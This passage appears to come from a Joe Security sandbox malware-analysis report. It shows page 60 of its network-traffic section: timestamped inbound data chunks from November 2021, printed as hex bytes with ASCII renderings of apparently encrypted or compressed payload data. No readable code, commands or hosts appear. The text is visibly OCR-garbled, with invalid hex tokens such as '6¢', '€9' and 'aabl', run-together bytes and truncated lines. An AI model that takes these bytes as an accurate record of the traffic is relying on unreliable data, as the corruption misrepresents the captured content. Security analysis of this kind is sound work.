Data Ascii: ~?b_@aC1dn0cm/2XFm;BP[v% LxsTJ.}OCHe3Fen3UUh]->4SF.20fV]oF!/ Ni#xpz.tmkw@L.C2 Hp45H.$>G
04s.L2P+8'H6Hhw2+[y@:3il*

2021-11-18 09:30:32 UTC 434 IN Data Raw: cc 4c f1 90 ae 23 7e 93 7a 4e 7c 42 a4 40 3a 58 db a2 50 e3 2e ad cc a5 f0 39 2f 76 12 c7 42 d6 3b 64 4f 03 8
e8 77 64 d0 18 37 f8 3b 78 4a 27 c1 4f cc 4b 66 38 d3 ba 2e 3b 55 77 d6 2b 54 4c c0 38 df 70 de 3a 32 5f fd d1 5a 3f 62 4f
43 cc e3 c9 aabl 2f 38 19 3d 6d 74 82 e2 68 3a 95 42 2c c9 15 cc 6e c6 4d 5b ca 3a ab 4c 80 c8 cb a7 5a 5f d5 9f 72 24
91 81 26 44 2d 51 ee b0 f2 02 53 fa b8 4f 2a 5d 1d 9f d3 69 ee 26 02 f4 3e 55 e4 b4 23 31 80 c8 2c 2f 7a 3f fe 40 de 08 cc
f9 6a 14 65 0d 01 91 7b 27 3e 9e 6¢ cO de 30 2a 50 e2 42 43 37 ac aa 4a 86 8f 83 58 50 2c 57 69 a4 8e 44 3a 57 fd 72 5f
5e e5 68 5¢ 8a 53 74 87 9f e4 bf 14 fb bd 8c e4 91 50 cc 50 97 b0 d3 57 a7 de e0 70 39 6a bb cc 04 6e 12 {7 6a el c0 Oc
39 33 2b 2f Ob @9 44 b5 6a 3e f1 7d 19 a8 f6 fe
Data Ascii: L#~zN|B@:XP.9/vB;dOwd7;xJ'OKf8.;Uw+TL8p:2_Z?bOC/8=mth:B,nM[:LZ_r$&D-QSOi&>U#1,/z? @jef'
>|0*PBC7JIXP,WiD:Wr_"h\StPPWp9jnj93+/Dj>}
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kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:32 UTC 435 IN Data Raw: 58 82 17 67 91 7b 3b e2 0f 44 41 cf 3e 01 6a de 25 de 39 26 80 €9 53 37 30 35 9b 05 6¢ 9b c5 fb 71 f1 6¢ 9a 8c
b8 10 67 00 29 3d 8e 22 70 fa de b8 65 a2 06 37 05 cf 05 bc 9e dc 28 2c d9 91 4a cc 26 97 31 a6 d7 4f a2 64 {7 05 48 c4
f6 el 04 4e f8 3d 76 e2 Oa 6f 9a 5e 7e 76 66 c7 42 9f 38 b3 1e f3 f4 3a fd 87 16 f3 a0 bc 28 8e 50 8b 85 bf ec el 90 56 19
ca 2c 02 77 02 59 83 e0 4f d4 98 24 df 8b 3a ed e5 2a 4e 59 48 29 38 b5 7 9¢c 69 36 6¢ ca 4c 6b 4a d6 9b 42 bc 82 07 cO
2a 63 fc e2 c7 2c 94 c7 6a de 78 3b 93 fd bf 3d 9e c4 24 dc 42 2c bf a5 5b 3d 12 fa 3d e6 07 7e 32 23 34 ec bb 31 c9 7b
b2 62 ec 92 46 2d 30 85 Ob 0d 30 5b 6¢ 3c 71 61 40 28 aa 42 40 86 9c 4f 35 fd 3f 5e cb 53 48 32 37 c1 f4 cf 50 fd 41 4c 43
b7 b0 3b cc d8 bf 08 fb 93 ¢9 53 b2 aa f0 1d cc
Data Ascii: Xg{;DA>j%9&S705Iqlg)="pe7(,J&10dHN=vo"~VvfB8:(PV,wYO$:*NYH)8i6ILkIB*C,jx;=$B,[==~2#41{bF-
00[l<qa@(B@05?"SH27PALC;S

2021-11-18 09:30:32 UTC 437 IN Data Raw: 39 fc 52 fc b8 87 de 7c ef c7 46 44 1d 90 7a 1e 4e 47 b6 9d 80 10 cc 4d 50 a3 5d 08 cf 20 c1 b8 dd 17 47 cc 2e
4f 46 60 45 50 86 37 34 d3 b1 44 6¢c a4 d2 2e b5 49 f1 d0 59 4f 62 cf a4 4c 71 b7 dO df 8e 2¢ 54 50 40 38 51 db 2f 47 ab
b1 de dc 20 57 7e ec 53 5b c7 4d 9c e2 59 5d ce 6b 76 38 17 3d 63 3f 40 bf 20 31 39 5a f2 37 74 57 c2 10 4c 65 56 a0 24
56 f6 56 Oe cf de 69 eb 33 f9 33 5e ¢7 5d cf d7 15 94 14 50 12 3f 62 85 6a 36 90 aa 38 c8 63 c1 83 de 24 c2 ad fc cd 8e 32
de 30 27 bc 90 ec 48 32 2a 38 98 85 €8 56 55 3d 85 a6 67 3e €0 44 59 bd el ba 59 53 52 ce 84 6f 05 e2 6d €9 4b 74 51 f6
3e 5b 85 4e 9a 11 67 19 af 90 50 87 ac 7c 70 80 8e ba 4b 32 f4 9b a4 5a be 3a d2 46 7b 8c ef bf b1 67 6e Ob c6 67 dd b6
ef 56 4f d3 4e 67 f7 ba de a0 a3 4f b8 aa aa 47 7e
Data Ascii: 9R|FDzZNGMP] G.OF EP74DI.IYObLq, TP@8Q/G W~S[MY]kv8=c?@ 19Z7tWLeV$VVi33"]P?hbj68c$20'H2*8VU
=g>DYYSRomKtQ>[NgP|pK2Z:F{gngVONgOG~

2021-11-18 09:30:32 UTC 438 IN Data Raw: 83 6b 36 c2 ef 60 82 45 1e 00 a4 6d 7a de b8 54 7b 1c 41 51 ab 32 e5 be ec 92 08 6d ca 4c b2 42 ad 67 48 75
4b e5 b4 3d Oa 8f 08 50 b7 ac 50 78 7a ae f0 50 c3 05 5a 9f 38 da 2c al 91 b7 cc 50 eb b1 b7 69 5d c1 d7 b8 b6 4a 3a 5e
3 5d e4 a4 db 6a 44 91 04 13 Oe a2 31 26 14 €9 07 be bb 73 f0 f9 13 38 3d 26 1f 1f 47 €8 30 4d bd 39 34 79 7f ce 00 9a
6a 3f 5d 95 c8 de e4 29 a0 ce 80 06 03 45 d6 5f 3d 5d ca c5 61 da 1f 6d d9 cf d8 86 37 €9 c0 16 ad 30 7d 31 3d fd 50 5f 3a
e5 70 32 6f d2 83 54 40 92 e4 f2 67 99 88 c2 ad a5 07 70 4e 8e 44 d6 a5 e5 a0 3d dc 93 fe cf 4f aa f6 9d 4f 53 be 8d 10 67
91 7b 31 82 f6 ca 43 25 3¢ 01 92 da 3a da 2c 12 a2 8d 10 67 44 6¢ ca 70 68 71 ae 3e 23 70 6a 44 3a f3 a0 bc be f2 15 c6
48 6f 26 Oc 7b a9 67 ea 1d 1f a4 ec 30 c9 65 36 69
Data Ascii: k6"EmzT{AQ2mLBgHuK=PPxzPZ8,Pi]J:"|jD1&s8=&G0M94yj?])E_=]am70}1=P_:p20T@gpND=00Sg{1C%<:,g
DIphg>#pjD:Ho&{g0e6i

2021-11-18 09:30:32 UTC 439 IN Data Raw: 95 44 4c 8f 6d 72 b9 a4 25 30 5 04 99 12 12 6a e5 a8 3d 9d f0 37 c0 bf fb ae 77 70 53 83 c8 fc 54 f4 eb 4e 42
ba f2 d9 86 7f ec d3 f6 c7 a2 b9 de 4c 57 4f el 36 17 45 ae 6a dd 42 2c c9 52 d5 ae 44 3e 6b e2 56 e2 86 de 44 c5 50 de
7b 29 76 e2 ec 29 3d 83 8¢ Ob 4f 5e 63 59 9f a4 ¢8 50 64 46 7f el 42 42 bf 50 d7 10 4e 69 61 81 90 68 fc 36 8¢ 50 ff b6 dc
42 61 52 6e 70 6a 2c €2 50 64 0a 70 69 b9 el b9 e4 O fb 1c b4 4f c4 45 69 77 fd 60 39 94 3f 5e 69 cf fa 4d 51 4b 5b cf ef
66 3b 48 77 85 36 62 35 4f €5 5¢ 05 17 87 60 3b a4 aa 17 ¢8 17 18 60 51 73 de 40 1a 88 fa 71 99 8b b1 48 69 49 de 90 50
5b 6d 67 05 fb b2 Oc 2c 8a de ac 50 6b 3e 7f 59 33 eb b0 5f 3d 5d 6f cc 8a c¢1 c0 d1 79 fb cc 8 bb f1 3a Oe 87 fb 44 a1l 90
9e 4c 34 78 c4 4f 43 ¢8 87 67 5e 4f 62 c9 e2
Data Ascii: DLmr%0j=7wpSTNBLWOGEjB,RD>kVDP{)v)=0"cYPdFBBPNiah6PBaRnpj,PdpiOEiw 92" IMQK[f;Hw6b50\";"Q
s@qHilP[mg,Pk>Y3_=]oy:DL4xOCg"Ob

2021-11-18 09:30:32 UTC 441 IN Data Raw: 44 dd bd bc 49 5d a0 da 57 79 6¢ fa 49 29 c6 ba 62 70 63 b1 92 1c 13 b0 40 af dd 2c 25 77 94 3b dd cf 2f e3 b9
fd 01 56 48 a8 61 70 47 43 b9 7d dO 3d eb cb 1c 42 cc 57 c9 da cc 7e b0 1c 62 65 c8 65 d1 07 ef b8 b9 f1 3a a6 10 79 1d
bb 14 {7 6e 1e d5 31 ef 6e fa e0 5¢c 4c 3d 2a 1d 69 e4 30 f7 be cf db 44 81 2b 3c 2d b9 4f ce 6d le f4 32 02 5¢ f9 12 24 42
fc 00 f0 90 b2 e6 f9 63 fO 2d 6e 86 fc 76 fe 1f Of e2 a3 1c e5 6e ce cO 4a 2c 76 41 57 e4 6¢ 5¢ 76 53 9¢ 84 83 86 dc ee 98
db 1c 50 95 a4 4f 29 66 d8 ad 5c 31 fa 47 43 bf 2e dc c2 60 55 4d b9 b3 40 f0 88 9a 71 54 5¢ 4f 1e d9 3c 09 b4 53 19 27
de 14 e9 e2 33 47 5c 21 3a 67 88 2b 8f 31 fd 37 e4 b4 f2 1a 5b 74 85 4f ¢6 11 73 19 27 de 82 a7 28 58 43 32 b4 2d c4 6f
de 8d 73 41 70 bf 50 7b 6d aa 80 3a fb 78 c3 77
Data Ascii: DI]Wyll)bpc@,%w;/VHapGC}=BW~bee:yn1n\L=*i0D+<-Om2\$Bc-nvnJ ,vAWI\VvSPO)\1GC. UM@qT\O<S'3G
\l:g+17[tOs'(XC2-0sApP{m:xw

2021-11-18 09:30:32 UTC 442 IN Data Raw: 50 21 da 2e b0 9f 4b fc ee 54 dc 43 7b 83 c9 31 bb 89 ef 38 6f 55 f4 f3 46 51 a8 35 03 bf 91 b8 66 10 12 f1 26
c3 28279 €9 76 f6 02 da d9 64 df 38 5b c2 40 4f 06 d6 04 26 dc 2d ee c1 93 dc 59 a0 00 38 ed e4 91 c1 4e d0 48 13 c2
4d d2 4d 57 bd cb 01 26 9d cb b3 54 81 1f 45 c9 25 ea 55 33 e7 6¢ 4b ¢3 37 e4 32 b7 39 ¢6 49 7f b3 ec fc 40 cf cO 6d 38
4282 ¢358 25 12 0c 50 1c ¢3 60 €0 4b f2 7a ad 61 da 6e 2d 6d c5 ee 31 51 ea 5e 99 98 dO 1a f0 c5 24 51 d4 5a fc 46 a0
fb 1d f4 58 80 ea 54 85 2b d9 6e 55 37 00 5a 05 e9 cc 2¢ 73 86 27 cd c8 ca fe 17 0a 6f 76 b3 7a 40 f4 75 41 2b c7 9e Oc
5c da ce a7 25 65 34 97 2a 76 58 05 1b 8a 3b 05 12 69 86 4b 14 db 56 70 24 ca 41 2d 61 b4 48 f9 af cf cf 4e 90 2e aa a4
3ffl 5fa2 31 cl fe 04 a7 c3 4a 03 f9 f0 34 6d 64 f1
Data Ascii: P!.KTC{180UFQ5f&yvd8[@O0&-Y8BNHMMW&TE%U3IK7291@m8BX%P Kzan-m1Q"$QZFXT+nU7Z,s'ovz
@UA+H\%ed*vX;iKVp$A-aHN.?_134md

2021-11-18 09:30:32 UTC 444 IN Data Raw: a7 53 ba 4b 2a ff 52 89 b7 8c 02 2e 4d 1e f2 26 ad 73 32 de 42 51 36 b4 fe 8e a5 57 3f 5a 27 7c d6 ¢3 29 3c 3a
18 fc f7 a9 al c9 46 e2 05 dd 59 e5 70 Oc 82 ad be 2a f0 14 96 17 66 58 ce 7c 09 1f 25 1c fa 60 3e 56 6¢ 4c b4 27 40 91 c6
8e 41 3f bb 14 e5 1e c3 9c d6 2a 2a 7d 7e ff 06 b3 48 3f €6 0d 43 3a 3b 20 5b a9 f9 35 54 3d 3a 3b fe f1 2d 69 d5 bf 40 3b
d2 1f 72 20 07 85 21 40 ae 52 be ff f0 ee el 34 eb a5 9d 3c fe 3b 31 Oe 50 c3 24 87 79 15 c4 3c 7a 3f 3e e8 82 47 96 fe d6
3f d3 fe 70 6b 36 39 33 45 f0 09 9a ¢3 87 14 Oc 25 a6 74 el b1 21 68 41 5b ab cb f9 6f f3 dd cd fe de b8 b2 61 fc dc 32 ca
9 8f ec 50 cb 9 43 5e 71 d3 9a d7 3f 1e df c1 20 9c 26 43 60 54 6¢ 90 80 56 29 89 96 64 41 67 a4 b8 f0 26 48 59 7a 3d
Oe 76 el 5f 24 dc bc a2 ac a5 42 60 da af
Data Ascii: SK*R.M&s2BQ6W?Z'|)<:FYp*fX|% >VIL'@A?**}~H?C:; [6T=:;-i@;r |@R4<;1P$y<z?>G?pk693E%t!hAlo
a2PC"g? &C TIV)dAg&HYz=v_$B"

2021-11-18 09:30:32 UTC 445 IN Data Raw: 06 b2 fa 3f 84 9b 57 6a 77 4b 3c 43 83 ¢9 c6 4a 93 3b cf 3f 58 b2 39 c1 c0 d6 fO 62 be de 18 75 db el ee 8d c7
€8 06 4d 67 32 cc fd 83 c4 26 97 b5 18 9f 26 72 64 d5 e3 a3 Oc 3d 12 a5 cb 5b 77 56 b4 a4 7d d6 1a 20 90 d6 32 78 96 4c
91 40 3e 83 1e 5¢ 92 5f 13 74 b9 ¢3 2¢ 84 c7 ab 18 2d 95 b9 4a eb b2 b4 al 5d 68 27 c7 49 cc 4e 1c e5 ab 29 fd 5a 42 f9
64 34 7f 58 97 40 79 0 30 6d 58 3 dc ca 94 e4 dc 40 95 1d aa 29 39 f3 32 48 ab 78 49 8c 49 f9 3b 7a e3 9c ee 36 42 53
c2 0f 08 93 40 1f 88 3a 97 87 ff bb b4 36 ab a2 6a 57 af 81 Oc 07 a9 85 18 54 87 85 b4 bb aa 6f 2a dd 47 5e 50 f9 ¢3 30 60
6 57 61 30 a9 4a c6 34 75 53 al f8 df 07 6a d4 e9 41 4b 12 08 b3 66 a4 b7 4c c3 4d c5 53 ¢6 58 f0 bc Oe ef a7 dd 07 1f 7f
97 5¢ 29 b8 3e 0d ab be ¢3 ce 00 Oc 38 2b 4d 8c
Data Ascii: ?WjwK<CJ;?X9buMg2&&rd=[wV} 2xL@>\_t,-J]n'IN)ZBd4X@yOmX@)92HxIl;z6BS@:6jWT0*G"P0"Wa0J4uSj
AKFLMSX\)>8+M

2021-11-18 09:30:32 UTC 449 IN Data Raw: 3d 7f 3b f4 4c 14 7c be b7 eb 82 8e al c5 3a 8e 2c b0 a4 06 6e 2b 25 26 6f 05 88 53 93 5e 95 €6 b3 d7 2b fe f4
€8 3892 42 65 91 33 d8 14 3b 84 34 dc 0d dO de 47 c4 ce d8 d9 6d 2d 17 31 a2 Oe 68 45 db 3e Ob c1 81 ca 30 48 31 25
45 3c 16 20 a2 9c 60 20 4b c4 37 e5 4b b7 4d e9 4a 93 4c 83 62 5d 83 f1 ac 55 8b ab d2 5¢ 0a 93 60 b1 12 4e dc 47 e3 2d
c4 57 fd 18 a7 34 1a 02 a8 08 86 8e Oe 1f b3 88 4a 38 ab b6 6d 3 90 8b 99 d9 62 65 c9 93 fe 80 a3 50 53 4f a7 1f 90 2e
9b 22 71 33 9a 6b 99 1d 29 f9 60 8d 0d ec e0 8e ef ee 70 5¢ 32 eb 4d 81 43 ee 43 5b 58 ef €8 9a 6b le 1a 2d b9 83 86 8b
8c 35 34 2¢ 8b d7 80 c6 94 b4 b7 90 60 54 82 b6 e7 Oe ef 1a 56 f5 39 90 9d e5 bf eb ea 29 ch 96 60 3f 9c 05 €0 1f ed d6
9a 8c 56 84 7d 1f 91 39 2b 7 79 ce 67 39 04 2d 91 55 82
Data Ascii: =;L|:,n+%&0S"+8Be3;4Gm-1hE>0H1%E< * K7KMJILb]JU\'NG-W4J8mbePSO."q3k) p\2MCC[Xk-54, TV9) ?V
19+yg9-U

Copyright Joe Security LLC 2021 Page 60 of 95



kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:32 UTC 453 IN Data Raw: fO 5¢c eb c2 45 ef ea 6a 68 39 f2 72 eb 55 20 bf 1a aa 82 a8 0d 9b b8 6e 86 1d f8 36 c1 b4 25 99 2e 82 I9c fc fe
96 23 6f 3b 53 f7 a0 ef 57 f2 6d Oc 0f 55 a8 e3 9b ec 86 Oc 75 b5 8f df €9 f4 58 b6 50 Ob ef e2 5d de d5 c¢7 57 ec b2 31 8b
ee a9 03 b3 14 52 28 95 9a 5d c5 8a 11 61 1d 6b b4 83 €0 7f 92 1c 3a 99 90 80 82 4b 7 ca e5 80 24 a6 1e 9a b4 98 3e 13
95 c0 7f 88 ea ac fb 4c 34 6e e4 7d f5 72 bc 16 b2 18 ea 89 ee 6d f6 92 03 51 15 74 ac 74 a6 5a b2 38 2c ff ec 60 dO al
9b 6¢ 34 8b b0 e0 27 5f 8b 49 7a 95 85 74 7c 79 eb 7e 75 67 fb a4 02 29 eb 65 Oe 90 df 8¢ 01 27 ef a2 Of 6 9b c8 78 9a
56 73 02 10 a8 16 1b 91 8f 34 cf 4c 82 fe e0 5b b5 74 6¢ db c2 ba c7 01 86 7f 1b 8d 36 c1 ea a6 35 23 f5 9f 39 02 81 d3
€0 3c c4 72 26 4f 04 1b d4 c4 23 58 8a 3b 1d 6b 7e
Data Ascii: \Ejh9rU n6%.#0;SWmUuXP]W1R(Jak:K$>L4n}rmQttZ8, 14" _Izt|y~ug)e'xVs4L[tI65#9<r&O#X;k~

2021-11-18 09:30:32 UTC 457 IN Data Raw: 2f 0d 87 88 6f 00 82 6e ff 02 1e 85 48 5f 64 29 83 07 8b 9b 3b 4b c5 c3 09 2f 22 22 13 e6 56 e7 36 18 62 9a 58
6f 36 ea 04 14 cc c6 92 3b 4a 88 6¢ 1e 43 df 9f dc f4 b5 97 64 8b b2 7d d2 3d 49 6b a5 fb b8 9b 31 9f 86 2f 1b 54 b7 8d 2¢
78 2521 e8 ec 34 3a 5f 89 3c 42 e3 4d 21 05 18 03 79 93 3f f3 b5 20 17 9f ea 83 2b 7f 28 4c 28 72 dd 9d 05 87 80 72 7 bi
d4 98 7b 6a 8f 5e b9 d9 0a 28 06 c3 f4 7e 42 55 ef 6¢ 08 69 6a 28 b8 77 ba 98 16 82 eb Oc €9 57 ef 15 dc 52 93 9b dc fb
92 81 10 79 fc a7 ea 89 52 5e ad 4a ea 91 ba 44 9a 8e b1 23 6a 6¢ 1e 9c f3 50 €9 89 4f a6 0d 10 f3 Oa ec eb 86 8e 05 73
9a a3 1f 50 e0 98 54 7b 9a al cc 4d 8f 6f 90 7f 4c d1 24 c7 c4 a7 ef 34 {7 d8 fe 5f 85 8d a2 e7 7a bd 47 57 f2 al 6¢ 4b 09
48 61 7e 52 1c 58 55 92 dc 53 7e ee a7 e4 13
Data Ascii: /onH_d);K/"'V6bX06;JICd}=Ik1/T,x%!4:_<BM!ly? +(L(rr{j’*(~BUIij(WWRyR"ND#|IPOsPT{MoL$4_zGWI
KHa~RXUS~

2021-11-18 09:30:32 UTC 461 IN Data Raw: 07 db 16 a5 7e 9e 93 a0 18 95 92 0d ee 5d 98 5f be 3a ef 67 47 al b9 5d 5f 78 76 bl fd 78 ca 86 c4 89 d8 b2
lccleb7bcdfl 7a5c cd bab9 71 eb 79 Ob d8 7e ed 86 9c 28 8c 89 ce 92 89 00 3b 07 ea fO 07 ea 84 c2 a8 29 69 f0 5a
95 aa e3 40 f6 86 c5 89 30 46 el 4b ab c4 a0 1e eb c9 54 97 af 96 bb 16 07 bf 86 9e e2 2e 32 95 1c 77 ed 97 8a bd 93 6¢
d7 43 b5 8f 7f 7b ea 8¢ 19 a8 a5 7c 82 09 b6 05 dO 56 aa d8 b6 9f 5d 45 22 63 6e bb e4 02 €8 93 f4 82 10 17 8c 5f bl 1c
87 bd aa 17 e4 00 6e 6e el 5f e7 37 d8 c6 bb 8f 5b 97 cb 7a b6 df cf 40 ed 7f bc 60 1d 56 ec 53 7d 57 57 84 58 5a 24 d3
17 31 cd 355 62 04 a3 03 e2 c8 f0 €3 56 40 74 08 d3 ca a3 ea 38 86 96 ef 7a 34 11 34 9f c1 6e f4 b7 23 €8 18 96 9a 74
50 9b b4 67 36 8b 47 37 1f 53 e7 af 9f 8a €5 6d Oc 8d ea
Data Ascii: ~]_:gG]_xvx{z\qy~(;)IZ@OFKT.2wIC{|V]E"cn_nn_7[z@ VS}IWWXZ$15bV@t8z44n#tPg6G7Sm

2021-11-18 09:30:32 UTC 465 IN Data Raw: 64 96 9a f7 79 7 68 f8 73 8e dd be b2 fa 0a 27 33 53 67 93 40 4c 2a 4b 90 2b b8 4e 0d 40 79 0d c1 f0 3c 6e 38
c35d 0131 e7 aa 2b 06 83 0a 00 1d fa ab 09 ¢3 38 94 3a 39 f4 90 f7 92 73 3c 17 d4 22 80 09 7f b2 73 Ob 54 7a 38 99 85
52 82 03 91 8b 5a 0f 9 f9 51 38 b9 eb 3e 7a 9a 87 62 b3 03 9a 8e 1a 80 e3 0f 80 89 f1 22 e4 6d 8f 98 84 88 e9 Of 1c 24
1915 7b cc 81 d5 79 62 e4 7f ee 0a 92 9e 6¢ 80 86 b8 da d6 01 1b 91 6b 12 7b ea 53 05 48 99 73 b9 70 32 75 9b be ea
60 60 c3 f5 63 a2 8¢ 08 17 9b c0 51 a3 a2 76 2d 14 f3 56 14 5f f4 9a 18 bl fb 3e 1d 3a 4a a2 6e 91 bb 8e b4 97 83 70 1d
9b el 97 d3 c9 97 ea 80 91 b7 7a ee 20 02 6e ea 75 1d 27 cd da 68 5e f9 6e 3b a5 e8 5d 9a 7b d9 39 90 90 d6 d7 9a b3 7f
al20 58 8d 04 8e 9b 14 21 9b 5f 15 61 6d ef c6 91 c2 e0
Data Ascii: dyhs'3Sg@L*K+N@y<n8]1+8:9s<"sTz8RZQ8>zb"m${yblk{SHsp2u "cQv-V_>:Jnpz nu'h”n;}{9 X!_am

2021-11-18 09:30:32 UTC 469 IN Data Raw: cf 75 5 65 92 7c af 96 6b 80 f7 40 3c 6e 3a a4 b5 58 e2 9f 8e e8 ed 86 fb ¢6 09 2c ¢7 7d b3 ba bd 69 42 42 9b
da 2b 85 98 96 90 b3 d9 a5 ec 20 f5 al ed 74 b3 91 f6 Of be 5¢ 72 1e ec 9c 3f 50 6b 76 79 38 05 75 88 ba 01 aa e7 69 39
€0 7 4b 9a 9c 19 8b 8a 82 f1 66 20 58 e0 84 f6 8e 0f 83 fc al 34 15 f1 54 1c 86 c3 47 e2 a7 f3 6e f9 77 el f5 a6 62 al b9
19 78 05 €9 22 7e ¢5 70 e6 48 1c 39 b0 bd eb 6f 17 0f Oa ef d9 79 a2 54 2b 9b 93 95 ee 8b 1f 42 99 39 2d 99 e9 5c¢ 2 37
€314 51 9c¢ 75 30 39 ac 26 94 62 6a 29 7c 88 10 05 d3 ee 4a Oe 97 8d 11 f4 61 f6 9a 16 cb d2 ae c2 3c bl 7f 3e 7b e5 3d
e0 df c0 66 ec 7f a7 9c d4 b9 dc 9c 06 82 66 5f ef 72 aa ae Ob 1b ec 21 89 cc 78 c8 2f dd b3 8e 3c 05 8b 7d €3 50 8d 96
14 71 78 6f f0 04 0d 95 88 7d 6b a2 42 fa b4 31 2e
Data Ascii: uelk@<n:X,}iBB+ t\r?Pkvy8ui9Kf X4TGnwbx"~pH90yT+B9-\7Qu09&bj)|Ja<>{=ff_rix/<}Pgxo}kB1.

2021-11-18 09:30:32 UTC 473 IN Data Raw: 22 99 7f 86 30 3f be ab e0 14 31 21 5b 04 c2 8c 47 a6 5d 47 37 da 59 8 32 22 26 1a 5c 44 30 8e bc 2a 72 8a
5b 07 f3 58 dc 94 ea b8 d5 Oe e7 30 fe Of 4b 11 48 04 52 b6 6f 83 ea f2 37 2b 45 f2 5d fc e9 d6 {7 50 6a c4 64 2a 3a 86 60
5¢ 50 ef 5¢ 60 Of bb 63 85 3e fa c5 29 96 64 cb 87 3b 7 f1 16 4f 95 38 02 b8 23 33 da 60 40 a4 34 7a 8a 5c¢ ff 48 ff 33 fc 72
eade 73 aac9 72 29 8585 ab 00 02 8b 7b 4c 05 d4 7d dd 51 93 4f f5 7a da 95 d7 82 el 3b ed 40 02 5c 1e 76 ab a6 d7 3b
94 ¢7 3f 75 b8 cc 3a 94 de 39 0d 4a bb 6f e0 50 d2 76 07 3b 9b 30 ce 87 f1 3e 11 a6 2a 3a 3c ea 94 1a 50 32 96 5¢ 4d cO
2e fc 7c 41 83 92 1a 56 ¢8 cc da 55 07 4d 17 99 de 7a 54 39 2b 89 7e 3e 5¢ 58 06 3c ba 86 53 78 bl 99 f4 44 b5 66 5d 8b
d2 bf 98 07 9a d2 3f af 5e 4c f1 a6 c8 f7 27 3b
Data Ascii: "0?1![G]G7Y2"&\DO*I[XOKHRo7+E]Pjd*:"\P\'c>)d;08#3" @4z\H3rsr){L}Q0z;@\v;?u:9JoPv;0>*:<P2\
M.|JAVUMZT9+~>\X<SxDf]?/L";

2021-11-18 09:30:32 UTC 477 IN Data Raw: 3¢ 4a ed e5 58 5b 16 90 55 89 6a 62 33 4b 12 9b 03 87 d4 1f a9 47 b5 c2 9b d0 2 3a a9 bf 0d 30 d6 6a 2f 8¢
5313 2f 39 04 a7 a0 2d 40 c9 11 42 19 de 51 cf c 87 b5 €5 ¢7 cb 41 23 41 ca 15 3¢ 74 27 52 84 e4 44 a7 8¢ 84 {7 4d 9d
fa ff 86 35 21 3e 67 64 54 50 d2 2b 63 a0 €5 a8 36 d6 80 f8 43 98 €0 59 53 3a 51 45 b2 0a 90 83 b3 08 ca 11 9a 32 d5 c2
€3 7d 18 9f 0a 5b 2e ae 57 25 df af 5f ab f2 97 15 30 b4 a5 €9 c9 60 cf b2 4f 8a 59 16 45 8b €6 el a6 d3 70 Oe 3d d6 f4 ab
36 9c 53 2 22 46 32 d3 Oc 24 a8 88 25 {6 34 6f a8 dc af 24 71 d4 b6 15 bl 01 dd 02 66 c1 50 43 57 c4 8f 6b 56 d9 6a 37
4e €0 3e 05 9c €3 57 dc 78 98 e4 0f a0 7e e3 8e 76 46 d4 7d 59 26 7 43 5a df 37 60 42 0 02 f6 b6 2¢ 6d 49 3¢ 91 63 59
13 65 8e fb 4f 04 4c 62 6d al 75 2b €6 ea 23 3b 58 cO
Data Ascii: <JX[Ujb3KG:0}/S/9-@BQA#A<tRDM5!>gdTP+c6CYS:QE2}.W%_0"OYEp=6S"F2$%40$qfPCWKV]
7N>Wx~VF}Y&CZ7'B,mi<cYeOLbmu+#X

2021-11-18 09:30:32 UTC 482 IN Data Raw: e2 88 a7 59 0b 01 Oc 7c €7 64 05 b5 e9 8a 2b fa 7b ad b0 7c 7c¢ 9c 1e 66 50 29 07 79 1f 08 9e 1f 17 93 a8 15
43 0a 28 75 b3 72 74 6f 17 62 b3 7f b5 fb 5f fb ee 7 b4 70 13 97 50 51 f6 79 3a 18 79 df 2b fc eb ad a0 48 dd 22 2f c1 83
b6 Of a0 b8 f8 28 e4 6a 61 37 2c e2 42 ae 7c 1c fb 23 67 d7 50 3b 51 23 21 26 12 58 78 0f 59 81 52 7f 7d dc 56 e2 02 33 61
ff 26 23 cf c1 a6 a3 71 99 9f 5d df 9b 98 9f 22 9a 11 ¢8 97 3f 7f 23 ¢3 f3 b0 55 34 d1 29 4c 2c b1 30 36 2e 88 31 9c d8 93
8c 23 89 c6 52 9e 30 c2 4c 83 22 cb 1d bf cb d6 77 de a2 28 59 fc aa 33 01 a4 b5 5b 7f ¢3 3a 48 19 ae 15 68 64 a7 d6 28
b5 c5 4a eb 4a 39 71 95 45 e2 a5 14 32 c2 23 79 55 70 2 b1 20 ca 38 Oe b5 22 af be 9e 43 3a 2b 57 2a 3e 1c 5b 53 22
9e 23 ea da ed a9 cf 79 2d 4b e6 2b 01 bf 8f 6a eb
Data Ascii: Y|d+{||fP)yC(urtob_pPQy:y+H"/(ja7,B|#gP;Q#!&XXYR}V30&#q]"?#U4)L,06.1#ROL"W(Y3[:Hhd(JJ9qE2#yUp 8"C:
HWS[S K]

2021-11-18 09:30:32 UTC 486 IN Data Raw: 07 30 97 b9 1c 24 be e7 29 0a 0f 06 Oa 46 39 aa f8 fb 5f f2 13 ¢5 68 7b dc 93 d4 93 e8 01 3d 2c fd 84 42 46 61
86 97 c9 4b 72 0a c1 85 5a 71 Ob 22 d4 01 67 e6 04 5e ce 3c 86 37 54 80 15 40 1f e8 Ob 0d 4c 36 Oc 84 51 a9 b2 fe fe 3b
66 e7 dc b9 f2 25 e7 eb f7 d7 5b 7b 94 ff 69 15 {7 a4 0f 60 2e 73 39 48 6e bd 7a 97 4f ff dc 9f c7 27 7c da 9b 9 c3 ff fa e7
5396 75 71 ff e6 fa c2 68 67 bc 50 8e ab c5 aa ac 17 eb aa 5e ac ab b0 50 d7 61 al ae ¢330 d4 1a 84 3af4 43 1d 7a al
0a 45 5d 87 a2 ae 6b 5f 57 c1 d7 65 fa 59 d7 45 a8 55 84 10 0a 05 f5 10 03 60 08 2c 00 4b c0 8a d0 aa dO 6a 4d bd 5a 51
ad 8c 35 5e f9 60 bd b3 6¢ d8 10 e8 09 15 42 9e a8 47 Oe b0 b4 3d 35 f2 54 1d ec 5¢ 9e 0d f9 f2 19 ae 3e 30 el 30 67 4d
1a 57 b5 8d 77 c6 4e c2 f5 06 45 d1 1f f4 06 45
Data Ascii: 03)F9_h{=,BFaKrZq"g"<7T@L6Q;f%[{i".s9HNnzO'|SughgP"Pa0:CzE]k_WeYEU",KjMZQ5"' IBG=5T\>00gMW
WNEE
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kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:32 UTC 489 IN Data Raw: 1d de fe 1b a8 e7 06 60 2e 27 92 69 25 28 9c 6¢ 7d a7 ef 36 76 7b Oe f0 92 f5 25 96 94 7a fb 15 93 7d 2f 12 33
